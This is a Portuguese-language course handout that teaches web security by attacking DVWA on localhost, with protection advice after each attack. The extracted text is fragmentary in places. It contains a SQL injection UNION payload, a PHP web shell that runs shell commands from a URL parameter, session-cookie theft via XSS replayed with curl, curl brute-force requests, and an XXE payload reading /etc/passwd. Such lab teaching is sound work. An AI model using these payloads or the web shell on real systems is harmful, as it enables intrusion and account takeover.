Escolar Documentos
Profissional Documentos
Cultura Documentos
Introdução
O mundo tem se tornado cada vez mais conectado, sistemas que parecem
ser simples cadastros podem estar ligados por uma rede ou uma API a outros
sistemas muito mais complexos e muita da infraestrutura da nossa sociedade pós-
moderna é controlada via software - o sistema financeiro, os sistemas de defesa, de
saúde, de energia, de comunicação entre outros. Algumas vezes, uma falha de
segurança em um sistema aparentemente inócuo pode abrir possibilidades para a
exploração de falhas em sistemas diversos - considerando que algumas pessoas
reutilizam as mesmas senhas, inclusive para emails que são usados para recuperar
senhas ou usar como autenticação em 2 etapas. Até mesmo dados pessoais podem
ser utilizados em opções "esqueci minha senha" ou outros fins desonestos.
Quando ocorre uma brecha de segurança em um sistema, é normal primeiro
se perguntar de quem é a culpa e porque não foi feito nada antes para se evitar o
comprometimento dos dados. O problema é que geralmente, proteger um sistema
nem sempre é algo tão simples quanto instalar um software, envolve várias frentes,
um trabalho contínuo e um esforço conjunto para tornar um sistema o mais seguro
possível. Uma dessas frentes é o desenvolvimento de aplicações web seguindo
princípios de segurança.
O que é uma aplicação web?
De forma geral, são sistemas que são executados em navegadores
(browsers) através da internet na estrutura cliente-servidor.
A área cliente é composta pelo que é executado do lado do navegador (ou
browser). Envolve a interface de usuário (UI), como scripts que rodam diretamente
no navegador (como JavaScript) linguagens de interpretação de folha de estilos
(como CSS) e apresentação de dados em geral.
A área do servidor é a parte geralmente que é processada no servidor web.
Ex: código em PHP, React, Java, Asp.NET etc., assim como a parte de bancos de
dados (geralmente).
A maior parte dos ataques a aplicações web acontecem com mais frequência
na área do servidor (mas também podem acontecer no lado do cliente), ou porque
os programadores deixaram brechas de segurança em seus sistemas (não
validando entradas de usuários, por exemplo) ou por má configuração.
Se o comando não for reconhecido pode ser necessário fazer logout e login
no seu sistema operacional, ou talvez até fazer um reboot. Se mesmo assim não
conseguir executar o comando, pode ser necessário re-instalar o Vagrant.
Após instalado copie o script do #Anexo 1# e cole em um arquivo de texto
simples.
Crie uma nova pasta vazia onde ficará sua máquina virtual e salve o arquivo
nesta pasta com o nome Vagrantfile. Você precisará acessar esta pasta pelo
terminal ou linha de comando, portanto, guarde o endereço desta pasta. Depois,
pelo terminal ou linha de comando acesse a pasta com um
$ cd /caminho/da/pasta/que/voce/criou/
Quando dentro da máquina virtual, para sair da sessão do SSH (sem desligar
a máquina virtual) utilize o comando:
$ exit
1 Secure Shell
Clique no botão "Create / Reset Database" e as seguintes mensagens devem
aparecer:
Clique no link "login" e você será redirecionado para a URL
http://localhost:8080/login.php :
Caso tenha algum problema sério e precise recriar a máquina virtual do zero,
utilize os seguintes comandos:
$ vagrant destroy && vagrant up
Isto irá garantir que a máquina virtual não fique rodando como um processo
de background. Sempre que suspeitar de algum acesso incomum ou de
processamento incomum no seu computador, pare a máquina virtual com o mesmo
comando. Mantenha-se seguro!
Usando a DVWA
As configurações básicas da DVWA ficam no arquivo:
/var/www/html/config/config.inc.php
Existem 4 níveis de desafio para a DVWA: low, medium, high e impossible.
Vamos trabalhar com o nível low, que é o mais básico, representando um sistema
sem nenhuma prática de segurança ativa e que demonstra quão ruim um sistema
pode ser.
É recomendável que se altere o nível de desafio depois de aprendidas as
técnicas básicas e se experimento aplicar alguns dos conhecimentos em outros
níveis de dificuldade. Para se alterar, acesse a página DVWA Security:
Explorando falhas na DVWA
Existem várias formas de se explorar falhas de segurança e vários aplicativos
prontos que reduzem o tempo e deixam mais fácil a exploitabilidade de certas
aplicações. No entanto, a utilização dessas ferramentas por pessoas que não
saibam exatamente o que estão fazendo pode formar hackers2 viciados que apenas
sabem usar ferramentas, sem saber exatamente o que elas fazem. Por isso, esta
disciplina irá mostrar que mesmo com um simples navegador e uma linha de
comando é possível acessar, inserir, modificar e excluir dados de uma aplicação
web de forma não convencional. Assim, espera-se que o aluno possa aprender os
princípios básicos de grandes falhas de segurança.
Todos os exemplos a seguir usarão o Google Chrome Versão 66, no
entanto, outros navegadores modernos podem ser usados, desde que permitam
inspecionar os elementos em tempo real (DOM), visualizações de conexões de
rede, cookies, etc.
Para alguns testes será necessário a utilização de ferramentas na linha de
comando, como cURL e grep. É possível emular algo parecido no sistema
operacional Windows, mas o ideal é utilizar um sistema baseado em Unix (Unix-
like) como Linux ou macOS. Para Windows acima da versão 10, existe a opção de
utilizar o Linux Shell dentro do próprio Windows. Se sua versão é inferior a esta e
você não tem a opção de instalar o sistema operacional no seu HD, considere a
possibilidade de uma máquina virtual ou um live CD.
Depois de explorados e entendidos os conceitos básicos é sugerido que se
aprofunde em aplicações, plugins e sistemas operacionais dedicados à função
hacker. Algumas sugestões:
● Sistema Operacional Kali Linux - que contém uma grande gama de
aplicativos e suíte de aplicativos próprios;
● Suíte de Aplicativos Burp - vêm por padrão com o Kali Linux, mas pode ser
instalado standalone;
● Hackbar - Plugin para navegadores Mozilla;
2Hackers sem conotação negativa, no sentido de indivíduos que utilizam seu conhecimento técnico
para resolver problemas, geralmente problemas de segurança
SQL Injection
Acesse o menu lateral "SQL Injection". Será exibida uma página como a
seguir:
Como se proteger?
Não existe uma solução única para evitar Injections, o ideal é evitar utilizar
interpretadores - para o PHP com MySQL, por exemplo, é possível utilizar a
extensão Mysqli com comandos preparados (prepared statements)
(https://secure.php.net/manual/pt_BR/mysqli.prepare.php), que desde que bem
utilizados evitam a maioria dos problemas de SQL Injection. ORMs (mapeamento
objeto-relacional ou relational object mapping) em geral são mais seguros do que o
uso direto de interpretadores, mas não devem ser a única forma de se proteger, pois
podem conter falhas, o ideal é sempre se proteger de mais de uma forma.
Além disso, nunca se deve confiar nos dados vindos do lado do cliente, não
só em dados de formulário, mas em headers, ou cookies, no endereço dos arquivos
ou qualquer outro dado que venha do client-side. Sempre se deve sanitizar todos os
dados vindos do lado do cliente que forem utilizados, mesmo que sejam cabeçalhos
ou até mesmo a URL acessada pelo cliente. Por exemplo, se você espera por um
número, converta os dados vindos do cliente para números, sempre que possível,
utilize listas-brancas ao invés de listas-negras, ou seja, tenha uma lista do que é
aceito ao invés de tentar bloquear tudo o que não seja aceito, tanto nos caracteres
quanto nos próprios valores das variáveis.
Outra boa opção para evitar Injections é utilizar um Web Application Firewall
(WAF) e um Firewall no seu servidor que vão bloquear ativamente qualquer
requisição que pareça maligna.
Desabilite também mensagens de erros que podem dar dicas de como suas
queries são construídas.
Falha de criptografia
Vamos voltar à SQL Injection na página SQL Injection e pegar o comando
para descobrir os dados dos usuários:
' AND 1=0 UNION SELECT NULL, CONCAT(first_name, ' / ',
last_name, ' / ', user, ' / ', password) FROM users #
3 O algorítimo MD5 na verdade não encripta os dados nem codifica, mas gera uma hash usando um
cálculo com os bits de cada caracter, mas para simplificar a ideia iremos utilizar as expressões
criptografar e descriptografar.
Se uma hash MD5 não pode ser descriptografada, como um sistema então
sabe que o usuário acertou a senha e não colocou qualquer outra coisa? Simples, o
sistema encripta a senha que o usuário digitou e compara com a senha no banco de
dados, por exemplo, em PHP:
<?php
//...
$senha_digitada = 'batman';
if (md5($senha_digitada)==='ec0e2603172c73a8b644bb9456c1ff6e')
{
echo('nananananananananananananananana);
}
else
{
echo('senha incorreta');
}
//...
?>
O problema é que com apenas 128-bits de entropia, o algorítimo é facilmente
quebrado em um sistema de força-bruta no caso de vazamento de informações.
Outra forma de encontrar a senha é usando uma rainbow table4, uma lista com
hashs pré-processadas, que mesmo que não tenha a mesma sequência de
caracteres pode encontrar colisões de outras hashs iguais. Existem sites com
bilhões de hashs que podem ser consultadas em poucos segundos.
Por exemplo, a hash "5f4dcc3b5aa765d61d8327deb882cf99" que
encontramos no banco de dados como senha do usuário "admin" usando nossa
SQL Injection. Uma simples pesquisa na web por essa hash já nos mostra que essa
senha é "password" (como já sabíamos, pois a usamos para fazer login no painel de
controle), pois essa é uma senha muito comum e facilmente adivinhável.
Existe uma forma de deixar hashes MD5 um pouco mais seguros,
adicionando, por exemplo "sal"5 aos caracteres antes de encriptá-los, mas mesmo
assim, ainda não é recomendável usar MD5 para senhas. O ideal, na verdade, é
além de "salgar" as senhas, usar algoritmos mais seguros como Blowfish.
6Em PHP existe uma API de hash de senha nativa que faz esse cálculo automaticamente além de
usar o algoritimo Blowfish: http://php.net/manual/pt_BR/book.password.php
Exposição de dados sensíveis
No script de instalação da aplicação foram deixadas falhas de segurança
propositais, esta é uma delas:
sudo cp /var/www/html/config/config.inc.php.dist
/var/www/html/config/config.inc.php
Outro problema é uma configuração que permite a exposição de arquivos
quando não há um arquivo índex na pasta. Quando você acessa uma página web
(digamos www.test.com) o servidor web (no nosso caso Apache) automaticamente
procura por alguns arquivos especiais que geralmente começam com o nome
index e tem uma extensão que pode ser .html, .htm, .php, .php5, .jsp, .asp,
.aspx etc. Quando não encontra um desses arquivos, existem geralmente 3
possibilidades: ou o gerenciador da aplicação configura o mesmo para redirecionar
para uma página que pode mostrar ou não um erro, ou o servidor mostra um erro
(geralmente 403 Not Allowed), ou, na instalação padrão do Apache, por exemplo, o
servidor mostra uma página "Index of" com uma lista de todos os arquivos naquela
pasta. Para ver como essa página se parece, acesse:
http://localhost:8080/config/
Será mostrada uma página como essa:
Aplicando à DVWA
Vamos preparar uma web shell bem simples. Crie um arquivo de texto em
branco com o seguinte código:
<?php
$cmd = $_GET['cmd'];
echo('<pre>');
echo(@shell_exec($cmd));
echo('</pre>');
Se não há nenhum PHP aqui, significa que o código foi pré-processado com
sucesso. Vamos tentar colocar um comando no nosso shell. Acesse:
http://localhost:8080/hackable/uploads/shell.php?cmd=ls
Você deve ver a lista de arquivos na pasta de upload:
Ou seja, você tem controle total do servidor, com as mesmas permissões que
o PHP tem. Para saber qual usuário estamos usando, você pode acessar:
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami
No nosso exemplo a resposta será "vagrant", mas em alguns servidores mal
configurados pode acontecer de até ter a permissão de usuário "root".
7XML External Entities - essa vulnerabilidade tem sido cada vez mais comum, estando atualmente
entre as 10 maiores vulnerabilidades segundo a OWASP
○ Enviar arquivos que podem ser danosos para os usuários do site,
como arquivos .html com redirecionamento ou .exe
○ Enviar arquivos que podem ser usados para fazer o bypass8 de
algumas configurações de segurança que só permitem acesso no
mesmo servidor, sendo usados em ataque XSS9, por exemplo;
● Ou seja, nossa segurança estaria comprometida.
Outra opção mais lógica seria usar uma lista branca, por exemplo:
<?php
….
if ($extensao === 'jpg' || $extensao === 'gif') {
//upload e tudo mais
} else {
die('Não permitido!');
}
?>
Dessa forma, o upload só seria permitido caso esteja na nossa lista. Note
também o === que no PHP significa que estamos validando não só o conteúdo de
uma string quanto o tipo da variável. No PHP há basicamente 3 formas de usar o
símbolo =:
1. $variavel = "valor" - define que a variável $variavel receberá tal
valor;
2. $variavel == "valor" - neste caso se usa para verificar se uma variável
é igual a um valor, sem verificar o tipo da variável, em um if/else, por
exemplo;
3. $variavel === "valor" - mesmo que o anterior, mas com validação de
tipo;
Note que na segunda forma, a como não validamos o tipo da variável, o PHP
pode agir de formas estranhas. Por exemplo:
if ($variavel == true) // retorna true, como esperado
if ($variavel == 1) // retorna true, como esperado
if ($variavel == array(0)) // retorna true !?
Aplicando à DVWA
Acesse o painel da DVWA e clique em File Inclusion:
11Não só em PHP, praticamente todas as linguagens web server-side utilizam o mesmo esquema,
mas com nomes diferentes para os cookies.
Aplicando à DVWA
A ideia será pegar o PHPSESSID de um usuário logado e copiá-lo para outro
usuário, com esse outro usuário podemos nos passar pelo usuário logado.
Primeiro vamos preparar um código que irá fazer a captura dos dados, este
código será composto de duas partes:
● O script que irá capturar os dados e será executado no navegador;
● O código em PHP que rodará em um servidor externo e receberá nossa
PHPSESSID;
O código em PHP, preferencialmente deve rodar em um servidor externo,
mas como é só um exemplo, vamos rodá-lo no mesmo servidor só como base de
conceito12.
Vamos então acessar o painel da DVWA com o navegador e clicar em:
http://localhost:8080/vulnerabilities/xss_r/
Mas a partir do momento que esta página for aberta, automaticamente será
gravado um registro sobre o usuário em outro servidor. Acesse o seguinte endereço
para visualizar:
http://localhost:8080/cookies.txt
Agora, a única coisa que o atacante precisa fazer é ofuscar essa URL com
um encurtador de URLs (ou URL shortnener) e enviar para usuários que ele saiba
que estão logados.
Outra opção é fazer a mesma coisa, mas ao invés de utilizar a URL para
gerar em tempo real o arquivo é gravar no servidor seu script de ataque. No painel
da DVWA há mais duas opções de XSS, acessando a opção XSS (Stored) podemos
colocar o mesmo script no campo Name ou Message e ter basicamente a mesma
funcionalidade, no entanto, o script ficará gravado na lista de mensagens e toda vez
que um usuário visualizar a lista de mensagens terá os dados vazados.
Vamos tentar utilizar a PHPSESSID que capturamos para fazer uma espécie
de emulação utilizando a ferramenta cURL. Esta ferramenta é muito útil para fazer
requisições a servidores que podem ser automáticas ou manuais.
Por padrão o cURL já vem instalado na maior parte das distribuições Linux,
para iOS ele pode ser instalado com o brew ou macports, não é recomendável
utilizar Windows14 pois em alguns exemplos será necessário utilizar o comando
grep em conjunto e não há um substituto simples como este. Se o seu sistema
operacional é Windows, se recomenda utilizar o Linux Shell Bash do Windows
(quando presente) ou uma outra máquina virtual com um sistema baseado em Unix.
Verifique se você já tem o cURL com o seguinte comando:
curl --version
Estando com o cURL instalado, podemos fazer uma requisição para a página
principal da nossa aplicação pela linha de comando15:
curl "http://localhost:8080/" -v
14 Se mesmo assim você quiser utilizar Windows, você pode instalar você pode baixar o executável
direto do site https://curl.haxx.se/ no menu Download. Se quiser que o programa seja executável de
qualquer pasta na linha de comando, é necessário salvar o cURL em alguma pasta fixa e adicionar o
endereço da pasta no PATH do sistema. O PATH pode ser modificado no “Painel de controle” >
“Sistema e Segurança” > “Sistema” > “Configuração Avançada do Sistema” > “Variáveis de
Ambiente” e dentro dessa opção em “Variáveis do sistema”.
15 A opção -v significa verbose, para mais opções, verifique o manual com "man curl" ou a página de
ajuda com "curl --help".
Repare que a aplicação nos mandou de volta para o arquivo login.php:
Location: login.php
Vamos tentar usar uma PHPSESSID que pegamos no arquivo
cookies.txt:
curl "http://localhost:8080/" -H "Cookie:
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low"
Troque o pelo PHPSESSID que você pegou no arquivo
http://localhost:8080/cookies.txt
Sua página deve ser parecida com isso:
Recebemos o HTML da página interna do painel ou seja, conseguimos nos
logar como se fôssemos outro usuário.
Outra opção seria alterar o cookie do próprio browser para o mesmo efeito.
Aplicando à DVWA
O ataque que vamos realizar é um ataque de força bruta com um dicionário
simples (sem mutação), que funciona quando se tem uma lista pré-programada de
palavras para se testar contra um formulário. Existem outros tipos, como o ataque
com dicionário com mutação (quando o dicionário pode ter alterações durante o
teste, por exemplo, trocando letras maiúsculas/minúsculas, trocando letras por
números, ou até trocando sufixos/prefixos, por exemplo) além do ataque de força
bruta tradicional, sem dicionário, onde vai-se gerando os campos automaticamente,
muitas vezes caracter-a-caracter (ou múltiplos caracteres por vez).
Existem várias ferramentas que fazem ataques automaticamente, mas a ideia
dessa disciplina é ensinar os conceitos por trás de tais ferramentas, por isso, vamos
fazer manualmente. Vamos precisar de algumas coisas:
● A ferramenta cURL;
● Uma wordlist (lista de palavras ou de usuários/senhas comuns);
● Conhecimento em lógica de programação (não obrigatório);
Estando tudo certo, vamos primeiro verificar qual URL vamos utilizar. No
painel da DVWA acesse clique no menu em Brute Force:
Vamos fazer um teste, digitar qualquer coisa no campo de usuário e qualquer
coisa no campo de senha e enviar o formulário:
Assim sabemos que a URL para a qual devemos fazer a requisição para esta
URL. Vamos tentar com o cURL:
$ curl
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login"
Já ficou mais fácil de visualizar, mas ainda assim tem muito dado, vamos
restringir ainda mais com a opção -s:
$ curl
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie:
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" -s | grep
"Username and/or password incorrect."
Agora sim, temos uma resposta de uma só linha. O que vamos fazer é
preparar um pequeno script para verificar se esse texto aparece quando fizermos
várias requisições com usuários/senhas diferentes. Se não aparecer é porque nosso
login foi feito com sucesso ou algum erro estranho aconteceu (o que também é
interessante). Este script pode ser feito em qualquer linguagem, mas por
simplicidade vamos utilizar o próprio bash/shell para isso.
Nosso script vai ser somente uma prova de conceito16, super simples e
básico pois estamos utilizando a versão low da DVWA, para ataques mais
complexos, ou em aplicações mais protegidas, o ideal é utilizar uma ferramenta
própria para ataques de brute force. Nosso script vai rodar um arquivo de dicionário
(será um ataque de brute force com dicionário) e testar linha a linha com o
usuário/senha. O dicionário pode ser baixado da seguinte URL:
https://raw.githubusercontent.com/delefrati/Hob0Rules/master/wordlists/shortKrak.txt
O script está nos anexos como Anexo 2. Copie o conteúdo e coloque em um
novo arquivo e salve com o nome buteforce.sh. Salve o dicionário na mesma
pasta. Aplique o comando a seguir para permitir a execução do script:
$ chmod +x bruteforce.sh
Após, rode o script com o seguinte comando:
$ time ./bruteforce.sh shortKrak.txt
A ferramenta time vai ser usada para verificar quanto tempo demoraria para
quebrar essa senha usando esse programa (que está longe de ser otimizado):
Como se proteger?
Um sistema de captcha, por exemplo, pode ser um pouco efetivo
temporariamente para evitar muitas tentativas por segundo, mas não deve ser
utilizado como única forma de defesa. Idealmente um sistema mais seguro deve ter
alguma outra forma de verificação de segurança, como autenticação em duas
etapas (2fa), confirmando a identidade do usuário de maneira independente, através
de um aplicativo separado ou enviando um e-mail ou SMS com um código.
Entre outras sugestões para melhorar a segurança:
● Os sistemas/aplicações devem testar as senhas dos usuários por senhas
fracas17;
● Deve ser facilitado ao usuário uma forma de trocar a senha em caso de
comprometimento;
● Monitoramento e detecção;
● Atenção! A criação de senhas muito complexas utilizando números, letras e
caracteres especiais já foi considerada uma boa prática de segurança, mas
nos últimos anos vêm sendo considerada uma má prática pois incentiva a
criação de senhas difíceis de serem lembradas, mas com baixa entropia, que
pode permitir a quebra das mesmas mais facilmente que, por exemplo, uma
senha longa, mas com palavras desconexas. Além disso, para a maioria dos
usuários18, estimula a reutilização das senhas. O quadrinista online Randall
Munroe do site XKCD ilustra esse paradigma brilhantemente no seguinte
quadro:
17 Diferente de quando falamos sobre isso em "falha de criptografia", quando o assunto era a própria
função criptográfica que era fraca.
18 Considerando usuários que memorizam as senhas, no entanto, o ideal é ter um gerenciador de
senhas e sim, criar senhas com o máximo possível de caracteres diferentes e randômicos.
https://xkcd.com/936/
Tradução:
Quadro 1:
Palavra base incomum (palavra real) - Order desconhecida
Letra maíuscula? - Substituições comuns - Pontuação - Numeral
(você pode adicionar mais alguns bits ao levar em conta que este é um dos poucos
formatos mais comuns)
Quadro 2:
~28 bits de entropia
220 = 3 dias para acertar com 1.000 tentativas/segundo
(Ataque plausível em um servidor remoto com um webserver. Sim, crackear uma
hash roubada é mais rápido que isso, mas não é o que a maioria dos usuários
deveria se preocupar)
Dificuldade para adivinhar: Fácil
Quadro 3:
(personagem falando) Era trombone? Não, troubador. E um dos Os era um zero? E
tinha um símbolo...
Dificuldade para lembrar: Difícil
Quadro 4:
correto cavalo bateria grampo
Quatro palavras comuns randômicas
Quadro 6:
(cavalo falando) É um grampo na bateria.
(outra pessoa respondendo) Correto!
Dificuldade para lembrar: você já memorizou
Quadro final:
Por 20 anos nos esforçamos e conseguimos com sucesso treinar todo mundo a usar
senhas que são difíceis de memorizar para os humanos, mas fáceis para os
computadores adivinharem.
OWASP
A Open Web Application Security Project (OWASP) é uma organização sem
fins lucrativos focada em melhorar a segurança de softwares. Qualquer pessoa
pode participar da comunidade e todos os materiais da comunidade têm licença
aberta e são gratuitos. Entre estes materiais é lançada uma lista com as top 10
maiores vulnerabilidades votadas pela comunidade
(https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project). A última
lista lançada foi em 2017, mas a versão mais recente em português foi lançada em
2013, disponível em:
https://storage.googleapis.com/google-code-archive-
downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-
_2013_Brazilian_Portuguese.pdf
A lista top 10 da OWASP considera as vulnerabilidades em uma escala de 1
a 3, seguindo os seguintes critérios:
1. Injection (injeção)
Um usuário mal-intencionado envia um “vetor de ataque”, ou seja, um pedaço
de código, através dos inputs do sistema, conseguindo modificar o funcionamento
deste. A injeção pode se aproveitar de brechas de segurança na execução das
consultas do banco de dados (PL/SQL) ou outro tipo de inserção de código, como
comandos shell, por exemplo.
Vetores: 3/3 Prevalência: 2/3 Detectabilidade: 3/3 Impacto técnico: 3/3
19 Ataques em que são usados dicionários com lista pré-programadas de palavras, podem ser
geradas automaticamente, copiadas de listas prontas da Internet ou de credenciais roubadas da
aplicação ou de outras aplicações
20 Validação de multi-fator, como por exemplo validação de login em duas etapas, verificando em
aplicativos, por e-mail ou por SMS
21 Sing-on único ou single sign-on se refere a um método de acesso geralmente com um token que
pode ser usado para se acessar a aplicação apenas uma vez. Pode ser utilizado em sistemas de
suporte, por exemplo, para acessar como outro usuário.
4. XML External Entities (XXE)
Vários processadores de XML antigos permitem a especificação de uma
entidade externa que pode permitir a execução remota de código inseguro que pode
ser usado para todo tipo de fim malicioso.
Exemplo:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeattack SYSTEM "file:///etc/passwd">
]>
<xxx>&xxeattack;</xxx>
Mutillidae
Além da lista com as 10 maiores vulnerabilidades, a OWASP tem sua própria versão
de sistema inseguro como o Damn Vulnerable Web Application. Chamado
inicialmente de NoWASP e posteriormente renomeado para Mutillidae 22. É um
sistema com ainda mais exemplos de vulnerabilidades do que a DVWA e que
separa as vulnerabilidades nas mesmas categorias que as top 10 vulnerabilidades.
Conclusão
A maioria das falhas de segurança em aplicações web podem ser evitadas,
mas acontecem por falta de atenção, falta de conhecimento ou por falta de
proatividade por parte dos desenvolvedores ou pelos responsáveis pelas
configurações dos servidores/aplicações. É essencial se conhecer sobre as
mesmas, não somente se você pretende trabalhar na área de segurança, mas se
22O nome é uma brincadeira em inglês, já que "wasp" significa "vespa" e "mutillidae" é uma família
de vespas da ordem hymenoptera
você trabalha em qualquer outra área relacionada ao
desenvolvimento/gerenciamento de sistemas, pois somente conhecendo como
estas falhas são exploradas é possível se prevenir e mitigar quando as mesmas
acontecem.
Anexos
Anexo 1:
Vagrant.configure(2) do |config|
# Configura a Virtualbox
config.vm.provider "virtualbox" do |vb|
# Ignora o visual, usar só terminal
vb.gui = false
# Memória da máquina virtual, 1G
vb.memory = "1024"
end
sudo cp /var/www/html/config/config.inc.php.dist
/var/www/html/config/config.inc.php
DVWA
http://dvwa.co.uk/
https://github.com/ethicalhack3r/DVWA/
http://www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/
OWASP
https://www.owasp.org/index.php/Main_Page
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
https://www.owasp.org/images/9/9c/OWASP_Top_10_2013_PT-BR.pdf
https://www.owasp.org/index.php/Brute_force_attack
https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Using_a_broken_or_risky_cryptographic_algorithm
https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/XSS_Attacks
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.cvedetails.com/cwe-details/261/Weak-Cryptography-for-Passwords.html
https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012)
Mutillidae
https://sourceforge.net/projects/mutillidae/files/
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-
mutillidae-ii-web-pen-test-training-environment-34380
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-
web-pen-test-training-environment-126917
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-
script.html
Passwords
http://php.net/manual/pt_BR/faq.passwords.php
http://webglimpse.net/pubs/TR94-34.pdf
http://ctankersley.com/2009/10/14/hashing-is-not-encryption/
Listas de Vulnerabilidades
https://exploit-db.com/
https://cve.mitre.org/
https://nakedsecurity.sophos.com/2017/01/03/phpmailer-could-put-your-website-at-
risk-heres-what-you-need-to-know/
https://www.cvedetails.com/vulnerability-list/vendor_id-31/Sendmail.html
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection
https://www.exploit-db.com/exploits/40974/
https://sucuri.net/reports/
https://blog.sucuri.net/portugues/
https://kb.sucuri.net/malware/signatures/
Injection
https://www.exploit-db.com/docs/english/42593-command-injection---shell-
injection.pdf
https://secure.php.net/manual/pt_BR/book.mysqli.php
https://dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/information-
schema.html
https://dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/tables-table.html
https://pastebin.com/Jk3nEzkJ
https://pastebin.com/d51Gqtkf
https://www.cvedetails.com/vulnerability-list/opsqli-1/sql-injection.html
XXE
https://opennlp.apache.org/news/cve-2017-12620.html
https://www.hack2secure.com/blogs/exploring-xml-external-entity-attack-xxe
CSS
https://stackoverflow.com/questions/476276/using-javascript-in-css#answer-482088
Força Bruta
https://resources.infosecinstitute.com/popular-tools-for-brute-force-attacks/
https://pt.stackoverflow.com/questions/207650/o-que-%C3%A9-timing-attack-e-
onde-ele-se-aplica
Cheat Sheets
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
https://pastebin.com/9JyEjg1a
https://pastebin.com/kdc6th08
https://del.icio.us/inquis/sqlinjection
https://www.exploit-db.com/papers/13650/
Ferramentas
https://portswigger.net/burp/communitydownload
http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap/wiki/Introduction
https://github.com/aboul3la/Sublist3r
https://www.metasploit.com/
Instalações e configurações
https://www.vagrantup.com/docs/providers/default.html
https://stackoverflow.com/questions/21706067/apache-doesnt-serve-files-in-
javascript-directory-why
https://www.devmedia.com.br/arquitetura-de-um-sgbd/25007
http://www.techtudo.com.br/dicas-e-tutoriais/noticia/2016/04/como-instalar-e-usar-o-
shell-bash-do-linux-no-windows-10.html
http://tecnologiaeinovacao.com.br/blog/2017/03/01/como-utilizar-o-curl-no-terminal-
do-windows/
Privacidade
https://www.exploit-db.com/papers/13618
https://ec.europa.eu/commission/priorities/justice-and-fundamental-rights/data-
protection/2018-reform-eu-data-protection-rules_pt
Outro
https://gist.github.com/trietptm/6f87c1b5b54a33d26b5f9cd354cd990d
https://xkcd.com/936/
https://xkcd.com/1354/